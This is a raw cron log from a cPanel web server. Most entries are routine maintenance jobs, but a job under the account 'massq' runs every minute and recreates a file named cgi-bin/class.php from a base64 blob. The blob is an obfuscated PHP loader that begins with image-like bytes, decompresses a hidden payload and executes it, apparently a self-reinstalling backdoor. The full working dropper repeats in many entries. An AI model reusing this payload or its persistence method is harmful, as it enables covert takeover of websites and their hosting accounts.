Sep  4 23:15:01 server CROND[13173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:15:01 server CROND[13176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:15:01 server CROND[13177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:15:01 server CROND[13180]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 23:15:01 server CROND[13178]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:15:01 server CROND[13181]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 23:16:01 server CROND[14023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:16:01 server CROND[14024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:16:01 server CROND[14025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:17:01 server CROND[14547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:17:01 server CROND[14548]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:17:01 server CROND[14549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:18:01 server CROND[14931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:18:01 server CROND[14932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:18:01 server CROND[14930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:19:01 server CROND[15309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:19:01 server CROND[15311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:19:01 server CROND[15310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:20:01 server CROND[15702]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 23:20:01 server CROND[15703]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:20:01 server CROND[15704]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 23:20:01 server CROND[15707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:20:01 server CROND[15708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:20:01 server CROND[15709]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 23:20:01 server CROND[15713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:20:01 server CROND[15711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:20:01 server CROND[15712]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 23:21:01 server CROND[16553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:21:01 server CROND[16555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:21:01 server CROND[16556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:22:01 server CROND[16967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:22:01 server CROND[16966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:22:01 server CROND[16965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:23:01 server CROND[17413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:23:01 server CROND[17414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:23:01 server CROND[17415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:24:01 server CROND[17794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:24:01 server CROND[17793]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:24:01 server CROND[17795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:25:01 server CROND[18239]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 23:25:01 server CROND[18240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:25:01 server CROND[18243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:25:01 server CROND[18245]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:25:01 server CROND[18242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:25:01 server CROND[18246]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 23:25:01 server CROND[18241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:26:01 server CROND[19065]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:26:01 server CROND[19066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:26:01 server CROND[19067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:27:01 server CROND[19446]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 23:27:01 server CROND[19447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
